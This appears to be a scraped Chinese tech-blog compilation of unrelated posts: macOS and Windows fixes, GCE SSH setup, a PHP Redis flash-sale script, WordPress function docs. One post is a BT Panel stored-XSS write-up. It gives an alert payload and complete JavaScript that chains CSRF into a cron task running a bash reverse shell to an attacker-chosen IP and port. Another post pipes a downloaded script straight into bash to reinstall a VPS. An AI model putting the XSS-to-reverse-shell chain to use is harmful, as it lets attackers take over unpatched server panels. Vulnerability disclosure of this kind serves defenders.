MacOS系统在更新MOJAVE 10.14后,进入星际争霸2 StarCraftⅡ鼠标无法移动,下面说一下解决办法:
打开系统偏好设置–>安全性与隐私–>辅助,勾选?SC2.app即可。

MacOS系统在更新MOJAVE 10.14后,进入星际争霸2 StarCraftⅡ鼠标无法移动,下面说一下解决办法:
打开系统偏好设置–>安全性与隐私–>辅助,勾选?SC2.app即可。

Windows Server老季也是很少使用,最近安装了2012,新装的2012机器居然IE无法下载,我们这里记录一下如何才能解除文件下载限制。
关闭启用保护模式



在国外,因为版权的关系,不少VPS服务商并不提供Windows系统的支持。而提供Windows系统的价格也比Linux VPS的价格高了不少。所以,不少玩家也在尝试基于Linux安装Windows系统。
在安装包中,萌咖 制作的一键包安装速度快,也比较稳定,非常推荐。安装环境最好是KVM,Debian 8 x64以上,老季测试使用的Vultr家5美元/月的配置。
安装过程比较简单,执行如下命令即可:
wget –no-check-certificate -qO DebianNET.sh ‘https://moeclub.org/attachment/LinuxShell/DebianNET.sh’ && bash DebianNET.sh -dd ‘https://moeclub.org/get-win7embx86-auto’
接下来的过程我们就完全无需操心,等待十分钟即可安装完成。
安装完成之后,我们通过Windows系统的远程功能直接登录就可以了。
默认的远程登录账号密码分别为:Administrator/Vicer,我们登录之后记得修改密码。
注意:不同服务商对版权的重视程度不同,也有不同的TOS,尝试之前请务必遵守规则。

如何设计高并发时的秒杀,是面试电商技术职位时必考的题目。今天在这里分享一下php基于Redis或Memcached的技术方案,能解决重复提交、超发、高并发的问题。
<?php
//预定义总库存
define(“TOTAL_STOCK”, 5);
//预定义商品编号
define(“ITEM_ID”, “ITEM_001”);$userId = $_GET[‘userId’];
$userIdKey = ITEM_ID . ‘_’ . $userId;$redis = new redis();
//如果有多台Redis服务器,可根据商品编号哈希后得到其中一台redis的地址
$result = $redis->connect(‘master104’, 6379);//获取之前已经领取掉的数量
$requested = $redis->get(“requested”);
echo “领取前库存: ” . (string)(TOTAL_STOCK – $requested) . “<br />”;//如果已领取大于预定义库存,则认为库存为零,不允许继续
if ($requested && ($requested >= TOTAL_STOCK))
{
echo “已领完,请下次再来”;
die();
}//通过设置用户对该商品的领取状态,来检查该用户是否已领取过
//如果使用Memcached的话,可以使用cas()
if (!$redis->setnx($userIdKey, 1))
{
echo “您已领取过该商品,不允许重复领取”;
die();
}//增加领取数量以减少库存。
//高并发情况下可能会有多个incr()是成功的。但是没关系,在领取数大于库存数后,通过下面的if判断后,后面的请求都是无效的。
$requested = $redis->incr(“requested”);//如果尝试增加的时候,发现库存已经为零了,需要重置用户领取状态
if ($requested && ($requested > TOTAL_STOCK))
{
$redis->del($userIdKey);
echo “已领完,请下次再来”;
die();
}//以下可以做其他的后续操作,比如各种异步并行操作,或是投递消息到队列,等等
//Step1
//…
//StepN//如果步骤进行到这里,不管以上的异步操作进行得如何,我们都必须认为用户已经领取成功。
//即使有任何失败,我们都需要用技术手段帮用户完成上述Step1到StepN
echo “领取成功!<br />”;
echo “领取后库存: ” . (string)(TOTAL_STOCK – $requested) . “<br />”;

什么是宝塔面板?
宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。
在6.x linux版本宝塔面板当中当中,相对与5.x版本,记录了验证码错误并存入数据库当中,存储xss缺陷就是在此处产生。
我们直接看漏洞代码。

直接分析post请求部分。

代码如下:

我们可以看到这里首先判断了是否有 用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。
从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误
此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面,找到如下函数

这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。
可以在宝塔数据库当中,看到logs数据库里存储的信息

我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。


由于没有任何过滤处理,我们直接输入弹窗的payload:<script>alert(‘www.dafsec.org’)</script>
由于服务器管理面板的特殊性,后台可以进行敏感操作。手写js远程调用,利用csrf漏洞在计划任务处配合存储xss,可成功反弹shell,弹shell成功截图如下:

远程调用的js代码如下:
function addTask(TaskName, execTime, ip, port) {
var execShell = 'bash -i >& /dev/tcp/your_ip/your_port 0>&1';
execShell = encodeURIComponent(execShell);
var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined'
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=AddCrontab', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(params);
}
function execTask(TaskName) {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=GetCrontab', true);
xhr.send();
xhr.onload = function () {
if (this.readyState == 4 && this.status == 200) {
var res = JSON.parse(this.responseText);
if (res[0].name == TaskName) {
var TaskID = res[0].id.toString();
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=StartTask', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var params = 'id=' + TaskID;
xhr.send(params);
delTask(res[0].id);
console.log(res[0].id);
return res[0].id;
}
}
}
}
function delTask(TaskID) {
var params = 'id=' + TaskID.toString();
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=DelCrontab', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(params);
}
var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);
宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公网,请及时更新至最新版本。
官方已修复该漏洞,漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py

我们之前写了一个WordPress的采集插件WP-JPost:WordPress 采集插件 WP-JPost?, 提到?WordPress 采集插件 WP-JPost 在Windows/Linux 系统环境下安装curl 采集 带ssl的https网站 图文教程?。如果目标站对我们的爬虫状态进行了设置屏蔽curl的特征的话,我们这里就需要user-agent出场了。
[title]什么是User Agent ?[/title]
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
[title]设置User Agent有什么用?[/title]
比如你在做移动APP开发时,有个网站在你手机端APP打开之后和直接在浏览器中打开之后看到的东西不一样,网页会根据UA判断你是app打开的还是直接浏览器打开的,如果没有找到事先商定的UA信息就认定这个链接是在浏览器打开的,如果查询到事先商定的UA就是用app打开的,两种情况可以让你看到不同的东西,做不同的操作,比如有些东西开发者只想让你使用app打开才能看见。
[title]PC端常见浏览器User-Agent[/title]
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60
Opera/8.0 (Windows NT 5.1; U; en)
Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.50
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)”
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36
[title]移动浏览器大全[/title]
Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5
Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5
Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5
Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5
Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10
Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+
Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0

我们在升级了MacOS系统之后出现了错误,如下:
# git add .
xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun
在终端中输入git命令出现了上述错误,后来想到应该是升级了系统导致的。下面给出解决方法。
在终端输入:
xcode-select –install
重装command line tools 就好了

最近Google Cloud Platform(GCP)谷歌云的Google Compute Engine(GCE)比较热门(Google GCE 免费300美金/一年使用期限 注册使用 图文教程),受到国内众多羊毛党追捧,好多朋友都想办法去办各种信用卡来申请GCP。但是我们申请并添加实例后会发现Google Compute Engine(GCE)的VM实例的SSH只能用key密钥登录,root用户无法使用账号密码登录。这样有时候使用一些ftp工具进行系统文件修改会有些不方便。
(为了方便而开启root用户密码登录代表着我们将降低系统安全级别,请斟酌后进行操作!)
那么下面我们就来记录下如何开启Google Cloud Platform(GCP)谷歌云Google Compute Engine(GCE)VM实例ssh用root账户密码登陆。
首先我们登录Google Compute Engine(GCE)VM实例列表,在我们想要开启root用户密码登录的VM实例列中的“SSH”菜单选项下,选择“在浏览器窗口中打开”。
然后使用sudo su命令提升用户权限,切换为root用户。
sudo su
然后编辑系统配置文件sshd_config
vi /etc/ssh/sshd_config
进入编辑模式,输入法切换为英文按“A”进入编辑修改模式。
修改其中信息
# Authenticat ion:
LoginGraceTime 2
PermitRootLogin yes //把默认的no,改为yes
StrictModes yes //把默认的no,改为yes
在往下翻
# To di sable tunne led clear text pas swords, change to no here!
PasswordAuthentication yes //把默认的no,改为yes
既然已经打开ssh的用户密码登录功能,为了更加安全,我们可以顺便把默认端口修改为自定义端口号。如果你这样做了,会使你的vps安全性更高,但是也意味着上面第一步在浏览器中的VM实例列“SSH”菜单选项下“在浏览器窗口中打开”网页版“SSH”不能使用了。修改方法很简单,就是在上一步编辑系统配置文件sshd_config中同时修改Port后面的数字。
Port 22 //把默认为22端口,改为自己想要的高段位端口,尽量难猜点
然后按“esc”,输入“:wq”进行编辑保存。
接下来为root用户配置一个密码:
passwd root
提示“Enter new UNIX password:”让我们输入一个新密码,密码一定要长最好15位以上、数字、英文大小写、字符都具备最好。找个安全地方记录好就行。
然后回车提示“Retype new UNIX pas Sword:”验证上面输入的密码。
重启SSH服务使我们的修改生效。
/etc/init.d/ssh restart
到这里我们可以退出网页版SSH,使用电脑终端“CMD”登录以验证我们的修改是否成功。
ssh -p 修改的端口号 root@111.111.111.111
到这里我们就成功的使用root用户密码登录Google Compute Engine(GCE)VM实例的SSH了。

Google Compute Engine GCE就是Google家卖VPS的,线路质量好,地区众多和微软的Azure一样,就是贵,一般人买不起。GCE的最低配置是5刀一个月,CPU、内存、硬盘都是独立按分钟算钱,面向中国的流量比较贵,大约为1GB 1元多,但是对比阿里云香港B其实优势不大,阿里云香港B流量是1元/GB,机器配置也高一些,CN2的网络质量还是非常不错的。
新用户注册试用有300美元两个月有效期的试用费用,不要白不要,接触一下高质量的机器也算是物超所值了。
GCE注册需要扶墙,网址:https://cloud.google.com 点击“Try it”
填写一大堆表单就略过了,填写真实的资料即可。注册需要绑定信用卡,建议是实体卡好些,会扣除1美元的预付款,验证通过后会退还给你,但是不可使用全球付,已经被封了。
注册成功后官方会有一个详细的教程指导你建立一个主机,一步步跟着来就行。
主页面,我们选择的是计算引擎。
创建实例,可以自主选择配置和系统。我们选择台湾节点,Asia East
拉到最下面,切换到网络,创建一个独立IP地址。
GCE默认是只能通过一个类似VNC的东西登录的,虽然挺好用的就是麻烦,通过一下设置我们可以在本地使用Xshell等软件登录。
进入“元数据”创建一个SSH密钥,同时使用Xshell5软件创建一个新的密钥,如图所示一路下一步,记得保存一下密钥文件,并保存好,记得复制密钥内容,回到网页如图填写,格式为:密钥内容 登录用户名



登录用户名只能设置自己的一个,无法使用root,如果需要root权限只能使用:su 命令临时切换。
全部完成后我们回到Xshell软件,输入IP、用户名登录,软件默认选择刚才创建的密钥登录,直接确定即可。
路由测试
Ping值测试,非常不错
机器性能测试,IO都被限制了,包括阿里云和Azure
土豪才能玩得起的机器,因为贵和谷歌的品质保证了机器的网络质量非常高,所以如果需要高质量的VPS而且不差钱可以考虑GCE。

被业内称为良心云的腾讯云,最近又推出一个上海三区,马上双11邻近,已经开始在搞活动了。
活动对象:腾讯云官网已注册且完成实名认证的国内站用户均可参与(协作者除外);
活动时间:2018年10月17日至10月26日,每天两场秒杀,时间分别为:9:00-12:00,15:00-18:00(周末除外)。
秒杀说明:

WordPress 开发 wp_dropdown_categories 下拉式框显示所分类目录标签函数
wp_category_checklist( int?$post_id, int?$descendants_and_self, array?$selected_cats?=?false, array?$popular_cats?=?false, object?$walker?=?null, bool?$checked_ontop?=?true?)
(int) (Optional) Post to generate a categories checklist for. Default 0. $selected_cats must not be an array. Default 0.
(int) (Optional) ID of the category to output along with its descendants. Default 0.
(array) (Optional) List of categories to mark as checked.
Default value: false
(array) (Optional) List of categories to receive the “popular-category” class.
Default value: false
(object) (Optional) Walker object to use to build the output. Default is a Walker_Category_Checklist instance.
Default value: null
(bool) (Optional) Whether to move checked items out of the hierarchy and to the top of the list.
Default value: true
源码
File: wp-admin/includes/template.php
function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) {
wp_terms_checklist( $post_id, array(
'taxonomy' => 'category',
'descendants_and_self' => $descendants_and_self,
'selected_cats' => $selected_cats,
'popular_cats' => $popular_cats,
'walker' => $walker,
'checked_ontop' => $checked_ontop
) );
}
WordPress的wp_dropdown_categories()函数可以让我们以下拉式框的方式显示所分类目录标签,下面来看看这个标签函数的用法。
该标签在一个没有提交按钮的选择框(如下拉式选框)中展示分类目录列表。
<?php?wp_dropdown_categories(?$args?);??>
默认用法
?<?php?$args?=?array( ????'show_option_all'????=>?, ????'show_option_none'???=>?, ????'orderby'????????????=>?'ID',? ????'order'??????????????=>?'ASC', ????'show_count'?????????=>?0, ????'hide_empty'?????????=>?1,? ????'child_of'???????????=>?0, ????'exclude'????????????=>?, ????'echo'???????????????=>?1, ????'selected'???????????=>?0, ????'hierarchical'???????=>?0,? ????'name'???????????????=>?'cat', ????'id'?????????????????=>?, ????'class'??????????????=>?'postform', ????'depth'??????????????=>?0, ????'tab_index'??????????=>?0, ????'taxonomy'???????????=>?'category', ????'hide_if_empty'??????=>?false?);??>
默认情况下的显示状态:
show_option_all
(字符串)生成下拉式选项框的HTML,从而允许你选定所有分类目录。
show_option_none
(字符串)生成下拉式选项框的HTML,从而允许你不选定任何分类目录。
orderby
(字符串)按某种标准为分类目录排序。有效值包括:
order
(字符串)为分类目录排序(升序或降序)有效值包括:
show_count
(布尔型)是否显示每个分类目录下现有的日志总数。有效值包括:
hide_empty
(布尔型)是否隐藏(不显示)不含有文章的分类目录。有效值包括:
child_of(整数)
只显示某一个分类的子分类;用该分类的ID作为参数值。无默认值。
exclude
(字符串)将要排除的分类目录的ID列表,各ID用逗号隔开。例如, ‘exclude=4,12′ 表示不显示或返回ID为4和12的分类。默认值为不排除任何分类。
exclude_tree
(字符串)定义需要排除的父分类ID列表,各ID用逗号隔开。用该参数排除某个父分类目录及其所有子分类目录。因此 ‘exclude_tree=5′ 可排除ID为5的父分类及其所有子分类。该参数引入于WP 2.7.1。
echo
(布尔型)显示结果(TRUE),或返回结果以供PHP使用(FALSE)。默认值为TRUE。
selected
(整数)在显示框中选中/显示的分类目录的ID。默认为不选中任何分类目录。
hierarchical
(布尔型)以分层形式显示分类目录(子分类目录内嵌于其父分类目录下)。默认值为FALSE。有效值包括:
name
(字符串)下拉式选框被赋予的名称。默认为cat’。
class
(字符串)被赋给下拉式选项框的类,默认为’postform’。
depth(整数)
该参数决定wp_list_pages所生成的分类目录列表中所允许的分类层级的层数。默认值为0(显示包括子分类目录在内的所有分类目录)。该参数引入于WP?2.5。
带有提交按钮的下拉式选项框
在WordPress侧边栏的无序列表中,以HTML格式显示带有层级的分类目录下拉式列表,有提交按钮,给出各分类目录下的文章总数。
<li id="categories">
<h2><?php _e('Categories:'); ?></h2>
?? <form action="<?php bloginfo('url'); ?>" method="get">
?? <?php wp_dropdown_categories('show_count=1&hierarchical=1'); ?>
?? <input type="submit" name="submit" value="view" />
?? </form>
</li>用JavaScript显示一个没有提交按钮的下拉式选项框
下面这个示例摘自WordPress论坛上的一个帖子,该示例借用了show_option_none参数。
<li id="categories"><h2><?php _e('Posts by Category');??></h2>
<?php wp_dropdown_categories('show_option_none=Select category');??>
<script type="text/javascript"><!--
??? var dropdown = document.getElementById("cat");
??? function onCatChange() {
if ( dropdown.options[dropdown.selectedIndex].value > 0 ) {
location.href = "<?php echo get_option('home');
?>/?cat="+dropdown.options[dropdown.selectedIndex].value;
}
??? }
??? dropdown.onchange = onCatChange;
--></script>
</li>用JavaScript显示一个没有提交按钮的下拉式选项框
下面这段代码使用了echo参数(echo=0)。在JavaScript代码中插入一个简单的?preg_replace。即使没有JavaScript,代码也可正常运行(提交按钮被noscript标签包裹)。
<li id="categories">
<h2><?php _e('Posts by Category');??></h2>
<form action="<?php bloginfo('url');??>/" method="get">
<div>
<?php
$select = wp_dropdown_categories('show_option_none=Select category&
show_count=1&orderby=name&echo=0');
$select = preg_replace("#<select([^>]*)>#", "<select$1 onchange='
return this.form.submit()'>", $select);
echo $select;
?>
<noscript><div><input type="submit" value="View" /></div></noscript>
</div></form>
</li>wp_dropdown_categories()位于 wp-includes/category-template.php